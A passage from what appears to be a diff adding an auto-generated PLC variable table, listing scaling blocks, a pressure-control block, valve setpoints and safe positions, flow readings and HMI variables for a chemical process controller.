+135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +219;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +220;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +221;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +222;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +223;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +224;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +225;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT;REAL; +226;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT;REAL; +227;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT;REAL; +228;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT;REAL; +229;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;CONFIG0.RES0.INSTANCE0.HMI_PRESSURE;INT; +230;VAR;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;CONFIG0.RES0.INSTANCE0.HMI_LEVEL;INT; +231;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F1_VALVE_POS;INT; +232;VAR;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F1_FLOW;INT; +233;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_F2_VALVE_POS;INT; +234;VAR;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;CONFIG0.RES0.INSTANCE0.HMI_F2_FLOW;INT; +235;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PURGE_VALVE_POS;INT; +236;VAR;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PURGE_FLOW;INT; +237;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_VALVE_POS;INT; +238;VAR;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.HMI_PRODUCT_FLOW;INT; +239;VAR;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;CONFIG0.RES0.INSTANCE0.SCAN_COUNT;UINT; +240;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1;SCALE_TO_SIGNED; +241;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.EN;BOOL; +242;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ENO;BOOL; +243;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT;UINT; +244;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT;INT; +245;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT;UINT; +246;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT;UINT; +247;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT;INT; +248;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2;SCALE_TO_SIGNED; +249;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.EN;BOOL; +250;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ENO;BOOL; +251;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT;UINT; +252;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT;INT; +253;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT;UINT; +254;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT;UINT; +255;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT;INT; +256;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3;SCALE_TO_SIGNED; +257;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.EN;BOOL; +258;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ENO;BOOL; +259;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT;UINT; +260;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT;INT; +261;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT;UINT; +262;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT;UINT; +263;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT;INT; +264;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4;SCALE_TO_SIGNED; +265;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.EN;BOOL; +266;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ENO;BOOL; +267;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT;UINT; +268;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT;INT; +269;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT;UINT; +270;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT;UINT; +271;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT;INT; +272;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5;SCALE_TO_SIGNED; +273;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.EN;BOOL; +274;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ENO;BOOL; +275;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT;UINT; +276;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT;INT; +277;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT;UINT; +278;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT;UINT; +279;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT;INT; +280;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6;SCALE_TO_SIGNED; +281;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.EN;BOOL; +282;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ENO;BOOL; +283;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT;UINT; +284;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT;INT; +285;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT;UINT; +286;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT;UINT; +287;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT;INT; +288;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7;SCALE_TO_SIGNED; +289;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED7.EN;BOOL; 